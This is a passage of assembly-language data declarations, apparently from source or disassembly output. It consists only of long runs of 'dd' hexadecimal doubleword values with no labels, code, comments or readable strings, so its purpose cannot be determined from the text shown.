0E3210243h, 0DC35DD46h, 943AAB60h, 0C5FE81C1h, 0DA0922B4h dd 0B3C26BBFh, 0F2850607h, 267CBEC1h, 22EACDCCh, 0E7C2C8F8h dd 123467EBh, 0AE0B92DAh, 0B7C5B28h, 234AA7E0h, 0EE0EF975h dd 70E865F9h, 0B14CCED0h, 6A2948D4h, 0A76D56ACh, 0CB07D6DAh dd 25960E1Dh, 0E3D459D5h, 0BC81812Ah, 0F1A7B391h, 7C2798C0h dd 5DE710DFh, 65F01306h, 7C5CC4FFh, 0DF9C50F2h, 0B07002BCh dd 1AC32FDCh, 0E93B1D01h, 41407F52h, 2750B4E4h, 188D9295h dd 83C67526h, 0D45D5A1Fh, 563D5915h, 887EE0DDh, 0AA00B4B9h dd 301A1B04h, 0EFCE123Eh, 0DC2EF2A4h, 9E458981h, 0D686BDF0h dd 0DBD559FEh, 1A50E612h, 0C1995F88h, 0C371B309h, 57CB78ADh dd 825074C4h, 0AF1B042Eh, 0AFD8349Ah, 56DB80E9h, 0F6DDB965h dd 0FA575891h, 977340EEh, 35F33D0Ah, 968D8F51h, 0E6F5614Bh dd 1375D523h, 4BD84DDEh, 5B6870C5h, 29FB56DEh, 5F71845Fh dd 0DF05C1B7h, 0C1E4ED3Ch, 0B3B45CB5h, 65717EAAh, 0BDB004B7h dd 0F0F96FA4h, 0FA36E6C3h, 0BCA30D5Ah, 0A5E5B2B3h, 57F8C1B8h dd 0C769E7BDh, 53C50D82h, 0C74FD46Bh, 4508C846h, 3BB5973Dh dd 59AD4FC4h, 0DCF29356h, 8051F969h, 89005845h, 46B500Ch dd 2028ED30h, 18420959h, 0A8110069h, 65240460h, 19098C30h dd 940D22C3h, 124C4A50h, 98122883h, 9110028Eh, 50AAF876h dd 7801596h, 310AC091h, 1EF06Ah, 808393Ch, 0D18442C3h dd 752D63E9h, 1440E94Ah, 4E8828FBh, 0D3A04509h, 34EB2745h dd 93A69D1h, 44E2A74h, 45130A9Dh, 0D0F4B9A7h, 7445A2A9h dd 9D0AE892h, 27403A18h, 89D04E83h, 9A7553A6h, 711CD4E9h dd 406D129h, 0CB9F11Dh, 5F3B3A7Dh, 2C461BEDh, 0A66C6043h dd 44621576h, 0C948A7C4h, 3E90FFF3h, 0BCDC294Bh, 3A661D1Ch dd 4E54D808h, 299A7378h, 93FD190Ah, 1B1CEC6Eh, 1020428Ch dd 607C029Eh, 4020EBA8h, 0BA46F411h, 542FBD19h, 7888E653h dd 0F4F8660h, 0A32BF6ADh, 0C42CD6CBh, 0E3DD5555h, 898A5396h dd 998946F4h, 6B96468Ah, 203ECCE4h, 0C4644EC1h, 6C66234Fh dd 0FB1A2356h, 6B192C99h, 0A4B355Eh, 0CE32F5F3h, 724FB196h dd 0D46E6652h, 0BC689351h, 65153231h, 8F6221D3h, 0CDE82C5Ch dd 3456480Ch, 66D930C5h dd 0DAEC8F14h, 4F6E8D70h, 0F1EBD63h, 0FBE895FEh, 0EADA3181h dd 5822E9B2h, 7231FC2Dh, 0C4FF7D6Ch, 0F4822F54h, 0E4650653h dd 0B37C9D74h, 2DB6FC1Ah, 0B10535F2h, 92ECA524h, 19E752Bh dd 0CFD5E1E5h, 71BB5A0Ch, 0E2453552h, 33AFAC9Ch, 0F83100BEh dd 8B7FE1CCh, 44F13354h, 0AA9A5275h, 0D680C0F8h, 3E31B791h dd 0E9F4AD13h, 0C57D2D42h, 123E460Ch, 0E9500A28h, 0B025B78Ah dd 4993E566h, 84673BF8h, 4052EA66h, 4E2C70D8h, 0A016DEF5h dd 2BA7DEEDh, 2A1BFC69h, 4BA366Ah, 46F989ADh, 4B2AC0Dh dd 0D1ADFF7Eh, 17A4BF20h, 60B9057Bh, 0DF11A3B3h, 0B703F8C4h dd 0EE7DAF75h, 0E510D2EBh, 9D5D6EE0h, 35BBC4AEh, 3C1ED6F0h dd 3FE70F2h, 0F13D3437h, 0F853C54Eh, 0B45C039h, 0FF88B17Dh dd 3E7BEF8h, 3737A847h, 269ADBF0h, 0DD5E96FEh, 0F72FC857h dd 56E63C69h, 75EF83CFh, 3177B257h, 6D6BDAB3h, 7F2CB9AFh dd 17620262h, 7BE1EA5Eh, 69F3C31Fh, 0EEEDC215h, 75B06D43h dd 12FAC532h, 6AA7FEC6h, 0DFC3DD31h, 0D5A06D5Fh, 0D003F0FDh dd 0FD5805D8h, 44549CCCh, 2DF6AAF2h, 0F894853Ah, 4F134E46h dd 966E3E84h, 0CDA9D475h, 0B6371C35h, 0A9377A41h, 0F8BC58DAh dd 0E44970h, 774DA44Fh, 0F50A0DD2h, 4950D3BAh, 88896E6Fh dd 54A5D5F4h, 56A4D45Eh, 0D73632E5h, 63556AEBh, 32A78D7Dh dd 78A14E7Fh, 0D32E68F5h, 85FB55D7h, 203F797h, 79F59B09h dd 44BC1792h, 74FB3575h, 13A0F235h, 0AA564C0Fh, 0EB312984h dd 1CC38AAEh, 9E8CC05Fh, 0BA26B119h, 0BB6B337Fh, 0DD9FE734h dd 99CC4705h, 0DFA6C024h, 67B90A63h, 355D9832h, 2B2C387Eh dd 84A86960h, 553EB05Dh, 2AAF1176h, 6B450FAEh, 4B6E07D5h dd 0FA53FD76h, 4B7D9E5Dh, 47CD275Ch, 0FB79CAD1h, 38F702B7h dd 11776E68h, 0EB531AFAh, 2FEEACCAh, 0E302195Ah, 9C76A18Bh dd 0AFDFD676h, 28A05E96h, 5B6F23F8h, 0F46F6134h, 357CDC0Dh dd 25DBBD5Dh, 57910F54h, 68A08B28h, 3C082C83h, 20AD404Bh dd 0E07D9C8Bh, 44EAFB0Ch, 29935B68h, 6BA81CB2h, 0A2931DCEh dd 32DDA34Bh, 51CC7B38h, 515F2601h, 0E7D846E1h, 3E7BEE14h dd 0C60792AFh, 0D4585A1Ah, 0F975E797h, 626E2125h, 39F7B89Ch dd 62605F87h, 768B488Bh, 0CB326EC9h, 1521946Bh, 49DB9BD8h dd 0C3AF6EBEh, 0C9257484h, 0AC9E59E0h, 78A836B2h, 0F95E7ED7h dd 89267082h, 4E2FF03Eh, 5DA8BA55h, 0FC89F0E8h, 13D5B52h dd 0EA60FD23h, 25EC50C0h, 31A6E4D0h, 3D78FA53h, 0D56AE010h dd 0B9149E38h, 0F12CEE01h, 39A05DDBh, 3AA637ACh, 9B821DFDh dd 3F9BF971h, 8D1646FFh, 0F8C8DABBh, 0A5D1D3BCh, 0D5D78020h dd 35D74BB6h, 2FEB20EFh, 3AAACBEFh, 5254FF70h, 48A45824h dd 81C2BF98h, 70534B2Bh, 0B80ADF74h, 0BA6830F0h, 0D1192703h dd 2BC538B8h, 0E4050769h, 167163CDh, 0AE2458D0h, 1E92E1B2h dd 0A326E577h, 0CB6E2095h, 96AA0590h, 31ACE788h, 3B3C4EA1h dd 5943B578h, 0B4CD1E14h, 7C2E50F7h, 44A4B90Eh, 58967F8Dh dd 0D1EBD365h, 0DAF9B1BAh, 2C3B44C7h, 12E4A099h, 0BC18B3D3h dd 12486DD3h, 4C8FCFB0h, 2AA921F8h, 0C7702859h, 0A06144A4h dd 0FCB2F3D2h, 0FCAE9D52h, 0E205F2Fh, 6EE40F0Eh, 0EB05BBECh dd 2B6EDF57h, 50414B9Bh, 7305A2D3h, 7DAF6ADAh, 0E5656952h dd 0B5AAEAECh, 9790D488h, 0D59DA86Eh, 0A6B715F9h, 515128CBh dd 3F2B1EA2h, 0CB9AC4C2h, 0CD60ADC9h, 1E2E0D5Eh, 33B37CD1h dd 1E4A01C3h, 0F6D8E27Ch, 0A697A699h, 85FD0FE3h, 95DDA14Ch dd 5749C3D7h, 4319C5C4h, 7BE1E47Fh, 0A14E5FE5h, 3C022E7Fh dd 30CAA010h, 0B8959EB0h, 81E39D0Eh, 0BA59F2BBh, 768160B8h dd 0A406997Eh, 9E6C62E2h, 0C0D15FFh, 5FDFD626h, 0C7093AFBh dd 0B881AEFAh, 30FC34F7h, 42A556BEh, 25956E2Eh, 4CC7B51h dd 0A9770CEFh, 4FE05781h, 23570BA8h, 74E6E722h, 0A3A9B450h dd 0CF5DAA4Eh, 9CDFECACh, 0F315C38Bh, 0E047E633h, 0A6E57338h dd 5945E37Eh, 0C5924FF6h, 4D0C5347h, 0DBF5F814h, 6F9D6C30h dd 18627F9Dh, 9E430DD6h, 0AF74F68Eh, 13B20F34h, 94178D8h dd 521F5ABDh, 0F6E7E4DDh, 0C5DF80D1h, 1C5628BEh, 0E0299C09h dd 9106DFB7h, 0C7BF5B1Fh, 8D87512Ah, 0BE0783C9h, 0BF4F4F54h dd 0D4C39FFBh, 0F4903127h, 0AE9117D1h, 644DD488h, 5F86312Fh dd 4ADE2C8Dh, 0ED2ABBE2h, 40F8C0D5h, 1F02FD73h, 325355ACh dd 553C3013h, 0A8A5E0A3h, 0BAE9B179h, 25DD1144h, 0FB4AD412h dd 0EB70B415h, 0DDB15FE1h, 0F1F90A35h, 44E0FBC7h, 5661A8D7h dd 6E772FE0h, 0C98C3641h, 0B111C2A3h, 0D621F7A0h, 1FD8C28Ch dd 638E808Bh, 349807C4h, 1FA782EAh, 2ADC1FDCh, 6B039870h dd 4EFFC957h, 42BAB3B5h, 3C976DF6h, 0F36F6794h, 5FCC8530h dd 6535AE01h, 2957B12Eh, 0F1BF2F06h, 207A0D3Bh, 3778A85Ah dd 0D12DA2BDh, 10887CA3h, 9B4A5195h, 8E6585A2h, 3A3D50A9h dd 9CBFF025h, 13A8BBD4h, 0DDA587C9h, 0EBEA9813h, 0A3EE4DC7h dd 0FE3BEA7Fh, 5F5438B9h, 24096907h, 5C3F9C6Ch, 0DD279E28h dd 614C0049h, 0E443DAA8h, 6AC262D9h, 296E0FFBh, 27383981h dd 66E78A7Ch, 0BB549818h, 6AC06127h, 0CF033CF6h, 0BA6F11B0h dd 0F616D792h, 5C7D968Eh, 111F863Ch, 5A75136Fh, 88D583A7h dd 225FF556h, 0C34FD60Dh, 1EF34FD0h, 0F21A93D8h, 575A2EAAh dd 73102E04h, 76EA7A34h, 0AC11731Fh, 8EA8AEBDh, 0EEBA9AF0h dd 0EC406814h, 0B3D6E58Ch, 9024D518h, 716FDD52h, 0C291A87Bh dd 97E98241h, 94579DC8h, 85CA5438h, 9BC1812Ch, 57F2A568h dd 66A87F7Bh, 248388E9h, 0FE702F36h, 5075EFC7h, 0D5DC3311h dd 6C83EECFh, 0A8165F51h, 974B0338h, 11951D65h, 0C3F553BAh dd 0AAFD1B44h, 0AA1CB2E1h, 6E45A784h, 0D092B5FEh, 0DA842207h dd 902FC867h, 0AF66B646h, 0AE0F8B8Eh, 7842981Eh, 276A4322h dd 61FFC6EDh, 59728B16h, 0ABEC976Ch, 0AD90D03Ah, 71577B58h dd 0CF85FC3Dh, 0E398E314h, 0DEBD8703h, 0BBD68F6Dh, 0CA76AB5Ch dd 1C3C3155h, 6574F5FBh, 7AA48E4h, 6AFB1E4Fh, 0E43617A0h dd 8DDA6725h, 32FC69F2h, 0CD8CBBB6h, 84692D21h, 0CD5BBD2Fh dd 0CCA7BB52h, 9B6901ACh, 0F4C503D6h, 0AAA6F26Bh, 0C770B493h dd 0B74A007Fh, 0F791F3E4h, 184F4184h, 0F8A10D60h, 8562CAFCh dd 0BDF82B6Dh, 0DB90E667h, 0FB9062F3h, 3B7A1AC2h, 0A655FC64h dd 3FBCDC2Dh, 0B0AEECC2h, 0A8F5BEEAh, 1DB7A335h, 0FD7870D6h dd 8DB6F7B8h, 957BBFA3h, 0F89BC35Fh, 0D4B7F035h, 7C3F6CF4h dd 0AFAA0EEEh, 8A240D51h, 57A3BC5Eh, 0FA9B9C75h, 8424D344h dd 5DA38487h, 562FC38h, 78BF23BFh, 9964469h, 0FD4E62BBh dd 71318EC5h, 0C76956D7h, 1FAF2AE8h, 9C542638h, 45953FF5h dd 9D6B7EA9h, 0D7C6CB52h, 2ECADD7Dh, 5D304275h, 5B782110h dd 5B946C00h, 4F1E6281h, 9921F581h, 0ABAF0CA2h, 281A7A11h dd 0A4AEB9F6h, 3542BB6h, 560C7B15h, 0D06F876h, 6D67B145h dd 0C76898BFh, 18395205h, 0F95C06DCh, 59BB8EC3h, 0FAD63B3Bh dd 0ED9F2716h, 6CBEE48Fh, 0EC857712h, 3BD5F6D1h, 0EB229A84h dd 46DE573h, 9D99C4A8h, 1EDD723Ch, 0C2B7FBDh, 1AD4A57Fh dd 0D6E046ABh, 0EB2E6DA8h, 5F8D7DDBh, 7BD59F3Ah, 6EEC02AAh dd 0ACAA74CCh, 9D647DA2h, 6E94C422h, 9BB00557h, 9F47925Eh dd 9A4CF742h, 0B2719CF2h, 2F7EFF71h, 68CB3717h, 0EEAB56AFh dd 0EBFE11D8h, 0FB16F2B9h dd 981844DCh, 8C2F00EEh, 67BD773Fh, 16A1F43Ch, 78C5F435h dd 91DC1F9Ah, 4C8E87C1h, 82D86E9Bh, 4ECE2FA8h, 6B355C94h dd 0D3FEBC20h, 4EC53A7Ch, 306017A0h, 0EAB2B75h, 0A96CFB41h dd 0A6713199h, 1E8FFF42h, 0D314628Ah, 2DF3AAA0h, 0F0B7E0DAh dd 0A4231C5Dh, 2BE8271Eh, 6465664Fh, 0D97B392Ah, 0A420127h dd 60C652Bh, 0D229375Eh, 2EDA12B8h, 715733B2h, 0B8528CE1h dd 0F13F4B9Dh, 0E0EED0C0h, 526B0BD3h, 771178E4h, 47FE93BFh dd 4392FB9h, 5F43366Bh, 43C7A368h, 540A75A7h, 0A33C4DBFh dd 0A47826Ch, 785FAE9Dh, 0CF297F60h, 5DBE0508h, 7AB80CDCh dd 0EED77406h, 0E6BEAACAh, 2174614Ah, 0F12D12A3h, 2B2EA78Fh dd 341BFEECh, 5700FB75h, 0C1C04D9Eh, 58319B8Bh, 0FE1D97FBh dd 6DA6B612h, 0E7D6782h, 7355065Dh, 0E4796642h, 0BE257DE8h dd 0E8E0C5BAh, 0BFD452D2h, 71DA7E19h, 4EDC94ABh, 2BF79E78h dd 750BE5A0h, 0D14EEE13h, 4E912DB4h, 57AAB357h, 94C9AD7Dh dd 13BBADB2h, 0F2F1A43Fh, 0EBA582BAh, 4643EB9Ch, 1AFCAEBCh dd 0A83DB8FCh, 0BB85AC19h, 0B445E758h, 0BDC237DCh, 500EFAEEh dd 0FC1E90BFh, 7455FD2Eh, 0B3DD2C5Dh, 297CAA63h, 4EBA75Ah dd 6211F5C9h, 0B6FC186Bh, 0A360F66Dh, 4AC2CF57h, 30162E0Eh dd 5515C055h, 4950F7B4h, 0D02D89E6h, 7B77838Fh, 118B134Bh dd 1750B54Bh, 1A8578C9h, 0F7F56B2Dh, 744908CEh, 4D520754h dd 0A4C674C1h, 783F79C3h, 87FFD0DDh, 0EE651A00h, 0B55871F7h dd 6D14A66Ah, 8111C4C5h, 0EA43557Dh, 6C98D76Ah, 0F6AE1016h dd 0EFDC1773h, 8DA2D828h, 5F1366D8h, 81F3567Dh, 1ED95AE9h dd 0B6FF7AE6h, 0FEABC17Fh, 0CE97293Ah, 386099F5h, 2E166C81h dd 1D0F080Fh, 0B74A97D7h, 8F31C6F6h, 0A36BDBFh, 0C3AD13BEh dd 68A262FBh, 51C50B37h, 0B765E701h, 0C8E2F200h, 42D91152h dd 221256B3h, 42E337A2h, 6F16D745h, 398E2569h, 50DCE999h dd 0B702D25Eh, 14324D3Bh, 92EF6EABh, 0B75EEA0Bh, 78646D3Ah dd 4095C0ACh, 0A47F6EB9h, 0A6CCD141h, 3AD2901Dh, 290EA1F8h dd 3CD6ADBAh, 7CED7F09h, 6F347563h, 3541FD16h, 0AF868204h dd 87E24F03h, 9080FA12h, 0C8ECA775h, 4C59DEDAh, 0FC65FB8Bh dd 0E9F2043Dh, 0A3161094h, 0F0A05F7h, 78C67DABh, 9DF13719h dd 16F7DF4Fh, 87623BB4h, 0A5A5960h, 0DC5E60B9h, 0C377B9E0h dd 6A5C62FBh, 25DAFB33h, 61FFA15h, 56F37B9h, 3FDF9780h dd 5D4D5CC4h, 8379CD92h, 70B9FABEh, 238FEB76h, 5CEA7DA5h dd 16B49CC1h, 0CF05654Fh, 56064CEEh, 0D4F026D7h, 0E7839D85h dd 0FED6BD58h, 0BBE58373h, 0DA1C08BFh, 2AE9EDE5h, 0FA05E3B5h dd 0D6AD394Fh, 43F134EEh, 8DD163CAh, 0C85D7652h, 2368631Bh dd 88252D1Bh, 4EC1C42Bh, 0AAA75CBFh, 9C43CF81h, 6D2CB9F5h dd 68CD9F2Dh, 0AD6E96BDh, 7E22CB94h, 8CD4938h, 0F5B64348h dd 0E039D7F2h, 65D0E53Ah, 390827D9h, 0F386B3Bh, 40BB0D4Fh dd 5E232389h, 0AB4AEBAEh, 73D1C072h, 0E44A5D0Fh, 11E39429h dd 3ECB0E0Dh, 120A3B5Fh, 873AD4BFh, 81500114h, 6F815325h dd 3FDAE54Dh, 244E73A0h, 0BEECCE46h, 3093F565h, 54BAF079h dd 0FDD0FE3Bh, 37B72F3h, 2B12B4B8h, 0F952E900h, 0D66344B9h dd 0E6ABAAD0h, 5A2D65F2h, 806DDACFh, 0B3239E36h, 0A5226FB2h dd 532986AAh, 0B1287068h, 8DEF6F3Ch, 984C11AFh, 7625FBE7h dd 6267D77Ah, 57719AD1h, 0EA27CFFCh, 7893AA7Ah, 0EFCC02D0h dd 0D8056BB7h, 36987F17h, 0A8D4D68Fh, 0F90E3044h, 26072B2Ah dd 6A62D74Eh, 8F66CF2Bh, 2005B4BBh, 49382F68h, 6F30E0E0h dd 0F530BAC9h, 0B62F32F5h, 5906C772h, 77EB9209h, 2B3BC2D1h dd 8F121BC7h, 82FA921Fh, 6FA14D33h, 5220DD7Eh, 0D8CE8DD6h dd 0EC0D54A7h, 7237DBABh, 6C187EF1h, 0EF4F3E6Dh, 0A0EAF607h dd 1CE5BA53h, 7E1B5CD5h, 1F74A364h, 643B5912h, 2956F8B8h dd 20BB27D3h, 4A9D2E0Bh, 928D2BE8h, 7F6AC52h, 5D671FD0h dd 604FA60h, 8F034309h, 0EB3ABF46h, 0FCEFF6A9h, 8C9B3502h dd 8F9AE92Bh, 607583C6h, 0D4AF359h, 2A0236ABh, 66A8E333h dd 9B73A7E6h, 685FB03Fh, 0C58FA2FBh, 386FE299h, 0C6CE11FCh dd 0E30441ECh, 984B3BD5h, 0F73D43AEh, 0AD7D0F82h, 4A949580h dd 7F0863B0h, 38DC095Fh, 1F1E3289h, 430F4A34h, 0DFA603F2h dd 77D79761h, 13E99005h, 935387Eh, 3C1E2379h, 327CBD4Ch dd 35DE76A5h, 58E03C3Ch, 4809736Ch, 0A2AF2BB2h, 5B893E5Eh dd 0DB4BCDDDh, 7CB0056Fh, 4EB353B4h, 0A1F8C62Bh, 0FE7B71DBh dd 0B5CE68C5h, 25FC934h, 8F1F4B0Fh, 0F2151DACh, 3F3D1345h dd 750E2837h, 4435F2DAh, 25E06944h, 88EAB32Bh, 6B7E3EC4h dd 63C1F32Ah, 0E12AEAA6h, 5C3773CDh, 7D11E3A2h, 0B7FD5C35h dd 55B690AEh, 4CA0777Ah, 0E97410D4h, 4431F6B4h, 0B4FB02EAh dd 5FD75E1Dh, 3E8CFB45h, 0FCF09AE0h, 52F0C428h, 53709D6Ah dd 0C3A2C90Fh, 0CB74FD00h, 0D49800EBh, 62DEB343h, 0DD9E87CFh dd 0FD2BACD6h, 1802B868h, 0E39D8D0Ch, 0E11609B4h, 6FF8B071h dd 0F014D6A1h, 13EEA97Ch, 0EDD648B4h, 6C3F68A2h, 0B001DFCEh dd 0EB131F22h, 0EEFF646Fh, 0F8A9FE81h, 6D10158Bh, 0FB2954h dd 46EB399Fh, 0D02EA8BEh, 4EE5FF28h, 0C7DE364h, 0D148F9EBh dd 238B15B6h, 7653F156h, 17398805h, 0D582C9C5h, 0A31C85A5h dd 422F2495h, 28E5AEE5h, 5617F262h, 0E00A7FBBh, 0D13F97ADh dd 8F12EF79h, 0D1ADF07h, 0D7476B22h, 29E9F6ECh, 96AD14Ch dd 7AD5EA1Dh, 0BB10D4AFh, 569D4983h, 0E8F2C661h, 68DAB78Ah dd 79545FBh, 0F2219AAFh, 9AB60C99h, 59EFF862h, 0F424EEB1h dd 0BAD6B02Dh, 25C36BBDh, 0E45A8CCFh, 65D1E4C9h, 0F02C60C5h dd 0D1BEBA99h, 6B9F160h, 516CB061h, 0F51A707Ch, 0A66A0F4Fh dd 0A4C88865h, 80DBB351h, 0C3F1507Dh, 0AAAEDAF8h, 0C4B7D998h dd 7A9DC549h, 0EE7C2926h, 19545E9Ch, 7BD68D55h, 0F791B448h dd 6909CC4Ah, 7379104Bh, 0E4BFC0FBh, 5FCDF9FDh, 0C0978250h dd 0DFF7062Fh, 6F06622Bh, 1B09545Eh, 46564549h, 5E5B9ABAh dd 212D4527h, 0D705F564h, 0B14FDF9Ah, 0EADC0E7Eh, 9F29663Bh dd 68256BE2h, 5F249AD1h, 0EAEE1127h, 174C9168h, 0F9100ED3h dd 504673F4h, 0B5079D0Eh, 5745EDF1h, 72603319h, 0D968B4D8h dd 0F2F267DFh, 42B05034h, 0D2F68259h, 5A8EE80Ah, 1063B237h dd 0FF56E029h, 980ABBAAh, 0AB6A31B9h, 4AF8EC7Dh, 2EF5DE5Dh dd 2B3590F0h, 0E6FB3960h, 76EFDB25h, 62E243F0h, 82D4F062h dd 51C8BD8Eh, 0E5F9499Bh, 5528FD1Bh, 10253CE9h, 6FF66A4Dh dd 0BCC9FE26h, 0E6098F40h, 217D8EAh, 7A75B05h, 7BA8BD89h dd 0F7FD985Bh, 365771D2h, 7F8C1542h, 1CABA999h, 0DF442F42h dd 7174EFA5h, 5A8E34FFh, 0A79EF99Ch, 2E270283h, 5032BF41h dd 54B7305Ah, 0E5029CC9h, 0A3E31B19h, 88563AABh, 0F13B2EE6h dd 7F684B18h, 68AEE916h, 489A0349h, 9D062EFCh, 418C89Ah dd 0DF2D3B8Ah, 8A412BBh, 0FC64B238h, 0DD4DB350h, 0AC14DF04h dd 6861CFD6h, 3EF07769h, 698FE270h, 783E1EDEh, 0EB5C601Ah dd 64AA5555h, 2C8EB262h, 0F73D09A6h, 1448E1D8h, 86AAB6C5h dd 63CDBF7Ah, 0B54FA1B3h, 73F743F0h, 0D5804DC3h, 0A215B2BAh dd 85A3CDFh, 0A48FB525h, 0E2D41D59h, 6A3F0703h, 73C0AD11h dd 0D17CA242h, 0CE41E149h, 38A10A89h, 0FA21A2F1h, 8618714Bh dd 7368D2ACh, 9A4A0C3Bh dd 86274D15h, 3FAEF1CAh, 8399C011h, 16C6F7DFh, 0D5FCFDFDh dd 0A81ABD90h, 0EAAC7A39h, 0CD585FF2h, 0B3DCBE8Bh, 0D22B5EE9h dd 1D110B45h, 0FB47C2A3h, 9B93C8C5h, 33D9A95Dh, 0ED832B0Fh dd 0E4247F36h, 0F01595D5h, 0FEFC7499h, 4F63BAECh, 0DDB43E64h dd 0DBC49B02h, 36837A63h, 8CD4F62Bh, 4A59EBE9h, 4635A2EBh dd 0BABD0DC6h, 23F0DEB7h, 0E9D6819Bh, 7F27FC6Ch, 9EB27824h dd 7DD06053h, 31A82371h, 0F53331C5h, 78379CAFh, 0EB9E9E6Dh dd 228912E5h, 0FADD64AAh, 804E5CD1h, 0CA708908h, 0E219E6EFh dd 0E741ACEh, 50749C0Fh, 2C086661h, 9D28306Eh, 8F4BF2CAh dd 0C4DBF884h, 0D108B30Fh, 36D505D6h, 3398ABA9h, 0FA820E31h dd 82AB5FF4h, 8D6FAE92h, 75396A93h, 6383025Dh, 0EAD57E7Fh dd 9D5DFDDEh, 6B32835Bh, 0A05187E0h, 15475F7h, 0A33B510Dh dd 0D797BBB2h, 0A799A0C0h, 636FE3D8h, 0D7E65C5Eh, 7B03BD61h dd 7C1BCCC7h, 0AF8D2C47h, 0B5BB3F43h, 0E749F613h, 33216B86h dd 0E4D4F3A0h, 62C43181h, 6A7D7BFFh, 7F8E8ED9h, 62E34EA9h dd 4D9663F7h, 0F6D8AEF4h, 42E483CFh, 0D4EB848h, 0E32E2023h dd 57EE701Eh, 6A8F95B6h, 0F600DAC7h, 8FB40FB0h, 743AC765h dd 0A69353E0h, 9B870BD8h, 11AB3D6Eh, 643BA54Ah, 0AB0ED407h dd 0F2F4315Ah, 0F0980E9Fh, 0AC2B4968h, 0F3CF2B80h, 3BE86634h dd 0D79037Fh, 5A8B2D4Dh, 0CCB55502h, 81F57459h, 7F45F9C0h dd 0EEC736B1h, 7C0E79F2h, 8FBFCF95h, 33B84523h, 6CB01B45h dd 0FED07C9Eh, 125FF81Eh, 8D699F33h, 8A5A9D26h, 4ADA6CA0h dd 7DDF8ABCh, 160F8A5Bh, 58169F12h, 0A9A0020Ah, 80368ECAh dd 0F0FC98BEh, 6235F07Ah, 0C34065D7h, 170377CBh, 0E3C0A73Bh dd 0B43EE0F3h, 5F8653ABh, 0A5097C16h, 0D0AC67B6h, 38E507B0h dd 0ABBBCEFFh, 4BD45DA0h, 1409A859h, 12ADED45h, 0BEBC8702h dd 9C85D56Eh, 0FDB83DC1h, 8BBE3BE6h, 7EDAD8BEh, 0E55577C5h dd 0A8A29FEAh, 0E321FB99h, 4DA34A73h, 0C02281FDh, 0E22B5ABCh dd 0B4DAE534h, 0AFABA19Dh, 0D7F7753Ch, 0C5E43EA9h, 76A3E07Bh dd 0F6ADD591h, 21AAED95h, 0DBBD177Ah, 3EA5A2A3h, 522182ADh dd 434C53B4h, 26CBBA3Eh, 39FD5B39h, 3C07DC22h, 98A9B3FAh dd 0AAE4774Eh, 57D7ADEFh, 76E2823Ah, 2A779F64h, 0D193DF09h dd 9F7B40E4h, 0C1295100h, 0E5B1658Bh, 0E121FEF9h, 0A6BB3026h dd 2D4580CBh, 726F0607h, 7C9CD2A1h, 74E5E6ECh, 34BA33A7h dd 0E9227CE2h, 0A72DD842h, 0AE2D0843h, 3A57115Ch, 0CE4D04A3h dd 0BB135F9Eh, 318E3278h, 7F47DCE5h, 0EA0E07F7h, 0DBC086D4h dd 602595F6h, 0B119A6A1h, 0C4CFBD26h, 937A6B3h, 0F00B2A80h dd 0D111B2F0h, 0C6D8C889h, 0EB02CC2Eh, 0A5493BF9h, 0C66EA8F2h dd 78B4FA4h, 0C7D21772h, 4313771Fh, 0DFC4E1DEh, 0AAA92E13h dd 9F5891DBh, 0D0875A36h, 0F2F3C97Ah, 0EECF18C0h, 2AA6D85Ch dd 0A97AEFD0h, 1F2BE9F0h, 85D86BBBh, 0CCB5E32Dh, 870163D0h dd 3B5AE907h, 5D6DAE23h, 0A999193Ch, 2F81D6D0h, 93259068h dd 0A93C852Ah, 20E342D4h, 9E7D8733h, 5D21EEF8h, 7EC4C18Ah dd 5DC70499h, 35E0057Fh, 0FA20F905h, 4C852BF6h, 63A8A479h dd 0E70F55Ch, 0FF068EA9h, 29C4B030h, 0B90359BEh, 7CD1E8BDh dd 8123937Fh, 0FF0565A3h, 0AAF39CDDh, 66E8FE05h, 0B7DAAC40h dd 0A3F02BB8h, 0D3FF6224h, 0A548BE46h, 43687283h, 0BC088CE7h dd 939FA5AEh, 0DA8B92A9h, 9AAF914Ch, 2AA92DFBh, 6DC0E23Ah dd 9C19AAD9h, 0C2927CE3h, 0EB4DA45Fh, 0F3A658E2h, 57DE3521h dd 0EA3DC864h, 0C2BF25ABh, 32D111EDh, 0AC9035A0h, 7F9B20AAh dd 55ED0EA6h, 7C5D70A5h, 8E170DF4h, 0F977ADA9h, 0B7FA03C2h dd 144736F1h, 0C69289A1h, 38CEECF4h, 0FBF978E3h, 0CF028D87h dd 2602D716h, 0F8F46442h, 0F689BF0Bh, 657AE479h, 7D3B0F13h dd 16E6ACE0h, 8D7E8A21h, 6C6B0946h, 62F86B56h, 0B3C6A88Fh dd 95778ACBh, 853422D0h, 0B12D83C5h, 639919B7h, 352C5E77h dd 0B3486F6Dh, 88DB8F69h, 66AFAAADh, 7B7EBCF5h, 7E8A9CB4h dd 5AA3C72Ch, 0ACEEEC37h, 8D0C4D86h, 202E42A7h, 260BB35Bh dd 68454876h, 7950EC74h, 0F6DA7674h, 0C3F1CEBDh, 18A31AA7h dd 0E3BF7153h, 0E9BF141Bh, 0C0D43906h, 0E31CB46h, 67B026A4h dd 7DB1BC83h, 0BF097CF0h, 0A9F01C0Fh, 0B35F5DB4h, 0F62E71FFh dd 7DB567ADh, 3C9EB977h, 0A677DAD1h, 285EAA01h, 223326EBh dd 0D8B82B05h, 8AF5A177h, 0ACE0F948h, 0BB8DA9CEh, 57E9E4Fh dd 0CF4556F8h, 0EFF63796h, 0AE9976E3h, 4F9AFE9Eh, 3B98C40Fh dd 14EBA597h, 0ED4C9057h, 0B4A748EEh, 663DE337h, 0D7EDDF16h dd 0BAB6982Ch, 98F013D6h, 1A95D58Ch, 0CC9A386Dh, 8ABDC5D8h dd 68EAC6E5h, 0B76B3066h, 0B47D91ADh, 0F864F42Eh, 741556C0h dd 7A720469h, 0E35178A0h, 0F6F3D5AAh, 0DB9D3D08h, 0DAAF303Ch dd 6D069389h, 7DEB967h, 6E5A02D7h, 944DF057h, 8A6EC9ECh dd 83C99054h, 0C153DCDFh, 0A95C8344h, 7E42ABD4h, 0AC84B886h dd 0D7B2CDF7h, 0CA5A652Fh, 9C2AD42Ch, 7537301Dh, 69E51A08h dd 41033EAFh, 0F865311Ah, 8BEF6F76h, 7F8E97FEh, 0F9CA474Dh dd 46BD4021h, 0FCFE5D44h, 0F641FD15h, 0E2C04038h, 7A7957Eh dd 0A4127E91h, 0BBEF4B88h, 0FF5F9B6Ch, 0B76E1C4Ah, 0C00DCF86h dd 0AA89B0BBh, 5330C6D4h, 1FDA3DC2h, 0DC5DC044h, 97547134h dd 0F85DFFC7h, 37CCAE7Dh, 7C3B6AB7h, 0C9E4083Bh, 0FE617A92h dd 0F45A3AC6h, 